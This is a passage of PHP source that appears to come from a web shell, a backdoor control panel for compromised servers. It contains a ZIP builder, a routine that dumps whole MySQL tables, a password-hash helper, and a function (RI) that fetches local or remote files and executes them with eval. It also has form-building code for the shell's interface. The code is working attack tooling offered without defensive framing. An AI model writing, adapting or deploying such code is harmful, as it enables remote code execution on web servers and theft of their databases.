1345$cdrec .= pack('V', $unc_len);
1346$cdrec .= pack('v', strlen($name) );
1347$cdrec .= pack('v', 0 );
1348$cdrec .= pack('v', 0 );
1349$cdrec .= pack('v', 0 );
1350$cdrec .= pack('v', 0 );
1351$cdrec .= pack('V', 32 );
1352$cdrec .= pack('V', $this->old_offset );
1353$this -> old_offset = $new_offset;
1354$cdrec .= $name;
1355$this -> ctrl_dir[] = $cdrec;
1356}
1357function file(){
1358$data = implode('',$this->datasec);
1359$ctrldir = implode('',$this->ctrl_dir);
1360return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)).pack('V', strlen($ctrldir)) .pack('V', strlen($data))."\x00\x00";
1361}
1362}
1363function sqldump($table,$fp=0){
1364global $lnk,$qf;
1365$tdump = "DROP TABLE IF EXISTS $table;\n";
1366$tdump .= "CREATE TABLE $table (\n";
1367$firstfield=1;
1368$fields = q("SHOW FIELDS FROM $table",$lnk);
1369while($field = $qf['f']($fields)){
1370if(!$firstfield){
1371$tdump .= ",\n";
1372} else {
1373$firstfield=0;
1374}
1375$tdump .= "\t`$field[Field]` $field[Type]";
1376if(!empty($field["Default"])){
1377$tdump .= " DEFAULT '$field[Default]'";
1378}
1379if($field['Null'] != "YES"){
1380$tdump .= " NOT NULL";
1381}
1382if($field['Extra'] != ""){
1383$tdump .= " $field[Extra]";
1384}
1385}
1386fr($fields);
1387$keys = q("SHOW KEYS FROM $table",$lnk);
1388while($key = $qf['f']($keys)){
1389$kname=$key['Key_name'];
1390if($kname != "PRIMARY"&&$key['Non_unique']==0){
1391$kname="UNIQUE|$kname";
1392}
1393if(!is_array($index[$kname])){
1394$index[$kname] = array();
1395}
1396$index[$kname][] = $key['Column_name'];
1397}
1398fr($keys);
1399while(list($kname, $columns) = @each($index)){
1400$tdump .= ",\n";
1401$colnames=implode($columns,",");
1402if($kname=="PRIMARY"){
1403$tdump .= "\tPRIMARY KEY (`$colnames`)";
1404} else {
1405if(substr($kname,0,6)=="UNIQUE"){
1406$kname=substr($kname,7);
1407}
1408$tdump .= "\tKEY $kname (`$colnames`)";
1409}
1410}
1411$tdump .= "\n);\n\n";
1412if($fp) fwrite($fp,$tdump);
1413else {
1414echo $tdump;@ob_flush();@flush();
1415}
1416$rows = q("SELECT * FROM $table",$lnk);
1417$numfields = $qf['n']($rows);
1418while($row = $qf['r']($rows)){
1419$tdump = "INSERT INTO $table VALUES(";
1420$fieldcounter=-1;
1421$firstfield=1;
1422while(++$fieldcounter<$numfields){
1423if(!$firstfield){
1424$tdump.=", ";
1425} else {
1426$firstfield=0;
1427}
1428if(!isset($row[$fieldcounter])){
1429$tdump .= "NULL";
1430} else {
1431$tdump .= "'".addslashes($row[$fieldcounter])."'";
1432}
1433}
1434$tdump .= ");\n";
1435if($fp) fwrite($fp,$tdump);
1436else {
1437echo $tdump;@ob_flush();@flush();
1438}
1439}
1440fr($rows);
1441if($fp) fwrite($fp,"\n");
1442else echo "\n";
1443}
1444function SR(&$e){
1445$e = is_array($e) ? array_map('SR',$e) : trim(@get_magic_quotes_gpc()?stripslashes($e):$e);
1446return $e;
1447}
1448function pe($p){return str_replace('=','',base64_encode(pack("H*", md5(pack("H*", md5($p))))));}
1449function RI($e){
1450$e = explode("\n",$e);
1451foreach($e as $e){
1452if($r=GF(trim($e))) eval('?>'.$r.'<?php ');
1453else {m("Error: Archivo/URL $e no encontrado.",'e');}
1454}
1455}
1456function url(){
1457$u = $_SERVER['REQUEST_URI'];
1458$q = $_SERVER['QUERY_STRING'];
1459$s = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
1460if(!empty($q)){$s.='?'.$q;}
1461return stristr($u,basename($s)) ? $s : $u;
1462}
1463function p($s){echo $s."\n";}
1464function htm($s){return htmlspecialchars($s,ENT_QUOTES);}
1465function tbhead($s=''){p('<table width="100%" border="0" cellpadding="4" cellspacing="0"'.$s.'>');}
1466function noseve($n, $v=''){p('<input type="hidden" name="'.$n.'" value="'.$v.'" />');}
1467function mkinput($arg = array()){
1468$size = 100;$type = 'text';$class = 'input';$value = '';$name='';$i='';$f='';$title='';
1469foreach($arg as $k => $v) $$k = $v;
1470if($title) $title.='<br />';
1471if($name) $name=' name="'.$name.'" id="'.$name.'"';
1472if(isset($newline)){$i = '<p>';$f = '</p>';}
1473p($i.$title.'<input type="'.$type.'"'.$name.' value="'.$value.'" class="'.$class.'" size="'.$size.'" />'.$f);
1474}
1475function mkselect($arg = array()){
1476$title='';$i='';$f='';$selected='';$sel='<select class="input"';
1477foreach($arg as $k => $v){
1478if($k=='option'||$k=='title'||$k=='selected') $$k = $v;
1479else $sel .= " $k=\"$v\"";
1480}
1481if(isset($newline)){$i='<p>';$f='</p>';}
1482p($i."$title $sel>");
1483foreach($option as $key => $val){
1484p('<option value="'.$key.($selected==$key ? '" selected="selected"' : '"').">$val</option>");
1485}
1486p("</select>$f");
1487}
1488function formhead($n,$t=''){
1489if($t) p('<h2>'.$t.' »</h2>');
1490p('<form id="'.$n.'" action="'.SELF.'" method="post">');
1491}
1492function formfoot(){p('<p><input class="bt" type="submit" value="Submit" /></p>'."\n</form>");}
1493die;
1494?>